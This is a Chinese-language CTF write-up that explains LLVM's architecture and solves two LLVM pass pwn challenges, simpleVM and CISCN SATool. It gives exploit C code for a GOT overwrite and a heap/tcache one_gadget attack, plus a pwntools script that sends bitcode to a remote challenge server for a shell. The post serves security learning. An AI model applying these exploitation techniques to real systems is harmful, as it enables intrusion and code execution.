CTF$LLVM PWN学习

29 篇文章 0 订阅
本文介绍了LLVM编译器框架的基本结构和工作原理,包括前端Clang、LLVMIR中间表示及后端编译过程。通过分析两道LLVMPWN题目,展示了如何利用LLVM进行逆向分析和漏洞利用,涉及虚拟指令、内存管理和链接时优化。文章总结了学习LLVM带来的新知识,并表达了对逆向分析的深入学习计划。
摘要由CSDN通过智能技术生成

前言:从两道题来学习LLVM PWN题型,一道是红帽杯的simpleVM,一道是ciscn国赛的SATool,这两道是比较经典的LLVM pwn题,这里写下文章来记录学习下
LLVM是一个编译器框架。LLVM作为编译器框架,是需要各种功能模块支撑起来的,你可以将clang和lld都看做是LLVM的组成部分,框架的意思是,你可以基于LLVM提供的功能开发自己的模块,并集成在LLVM系统上,增加它的功能,或者就单纯自己开发软件工具,而利用LLVM来支撑底层实现。LLVM由一些库和工具组成,正因为它的这种设计思想,使它可以很容易和IDE集成(因为IDE软件可以直接调用库来实现一些如静态检查这些功能),也很容易构建生成各种功能的工具(因为新的工具只需要调用需要的库就行)。

请看下边这个图:

v2-e93d22914f2939017db6c6ff463cc2d8_1440w.jpg

这个图是Clang/LLVM的简单架构。最初时,LLVM的前端是GCC,后来Apple还是立志自己开发了一套Clang出来把GCC取代了,不过现在带有Dragon Egg的GCC还是可以生成LLVM IR,也同样可以取代Clang的功能,我们也可以开发自己的前端,和LLVM后端配合起来,实现我们自定义的编程语言的编译器。

LLVM IR是LLVM的中间表示,这是LLVM中很重要的一个东西,介绍它的文档就一个,LLVM Language Reference Manual:https://llvm.org/docs/LangRef.html(看名字就觉得大气,LLVM语言参考手册,但浩浩荡荡一大篇文章,读下来还是需要精力的),大多数的优化都依赖于LLVM IR展开。我把Opt单独画在一边,是为了简化图的内容,因为LLVM的一个设计思想是优化可以渗透在整个编译流程中各个阶段,比如编译时、链接时、运行时等。

在LLVM中,IR有三种表示,一种是可读的IR,类似于汇编代码,但其实它介于高等语言和汇编之间,这种表示就是给人看的,磁盘文件后缀为.ll;第二种是不可读的二进制IR,被称作位码(bitcode),磁盘文件后缀为.bc;第三种表示是一种内存格式,只保存在内存中,所以谈不上文件格式和文件后缀,这种格式是LLVM之所以编译快的一个原因,它不像gcc,每个阶段结束会生成一些中间过程文件,它编译的中间数据都是这第三种表示的IR。三种格式是完全等价的,我们可以在Clang/LLVM工具的参数中指定生成这些文件(默认不生成,对于非编译器开发人员来说,也没必要生成),可以通过llvm-as和llvm-dis来在前两种文件之间做转换。

能注意到中间有个LLVM IR linker,这个是IR的链接器,而不是gcc中的那个链接器。为了实现链接时优化,LLVM在前端(Clang)生成单个代码单元的IR后,将整个工程的IR都链接起来,同时做链接时优化。

LLVM backend就是LLVM真正的后端,也被称为LLVM核心,包括编译、汇编、链接这一套,最后生成汇编文件或者目标码。这里的LLVM compiler和gcc中的compiler不一样,这里的LLVM compiler只是编译LLVM IR。

知道了LLVM是什么东西,就看两道题来进行开端
simpleVM题型刨析:
此样题难度在于逆向入口,需要找到虚表来精确确认入口,下面把so文件拖到ida里,找到start函数f5,然后再进行找

1.png

2.png


 

3.png

4.png

5.png

依次按照图片就能找到

6.png

再次点击开一个函数:

7.png

经过分析发现有个类似于vm题型的虚拟指令opcode函数匹配函数,再次点击开进到里面去
经过逆向分析,发现有pop、push、store、load、add、min这些指令,仔细分析的话发现load、store、add结合起来有任意读写漏洞

9.png

10.png

11.png

思路:算好偏移写freegot表为rce即可
直接写exp就可以了

#include <stdio.h>
void push(int a);
void pop(int a);
void store(int a);
void load(int a);
void add(int a, int b);
void min(int a, int b);
 
void o0o0o0o0(){
    add(1, 0x77e100);
    load(1);
    add(2, 0x72a9c);
    store(1);
}

注意这里运行的方式跟其它pwn题不太一样,需要使用clang进行获取IR文件,再用官方给的opt进行运行即可

clang -emit-llvm -S exp.c -o exp.ll
./opt-8 -load ./VMPass.so -VMPass ./exp.ll

CISCN Staool刨析:
第一步一样也是找虚表进行精确入口,这里就不演示了,直接找到主要的函数,进行刨析,经过审计,发现主要函数有以下虚拟指令:stealkey fakekey takeaway run save,能产生联合漏洞利用的是
save:

1.png

可以申请heap chunk可以想到此题和堆相关
stealkey:

2.jpg

这里验证了上一步的设想,就是能把地址交给chunk。。。噗嗤。。
fakekey:

3.jpg

这个是个任意写,。。。
run:

4.jpg

还有一点获取主函数:

6.png


看名字就知道直接运行功能
结合这几个函数,我们形成一种思路:这个save只能申请0x20chunk大小所以我们把tc的全部申请完,再次申请就能切割其它的unsrotbin,这时候就能残留libc的地址,下一步算偏移,让fd指针+onegadget就能直接获取shell了。。。。,具体看exp
exp:

#include <stdio.h>
int run(){return 0;};
int save(char *a1,char *a2){return 0;};
int fakekey(int64){return 0;};
int takeaway(char *a1){return 0;};
int B4ckDo0r()
{
        save("aaaa","aaaa");
        save("aaddd","aadd");
        save("ssss","sss");
        save("ssss","sssss");
        save("sssss","sssss");
        save("\x00","ssssss");
        stealkey();
        fakekey(-0x2E1884);
        run();
 
}
 
int main()
{
    B4ckDo0r();
 
}

编译程序还是用clang进行编译

clang -emit-llvm -S exp.c -o exp.ll
./opt-8 -load ./VMPass.so -VMPass ./exp.ll

打远程的话用官方给的脚步就可以了

from pwn import *
import sys
context.log_level='debug'
 
con = remote(sys.argv[1], sys.argv[2])
f = open("./exp.bc","rb")
 
payload=f.read()
 
f.close()
 
payload2 = payload.encode("base64")
con.sendlineafter("bitcode: \n", payload2)
 
con.interactive()

总结:通过两道LLVM PWN题学到了不少新知识,下面暑假会把重心放到逆向上面,我逆向分析太菜了。。。加油吧,开学进军内核,主攻内核

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值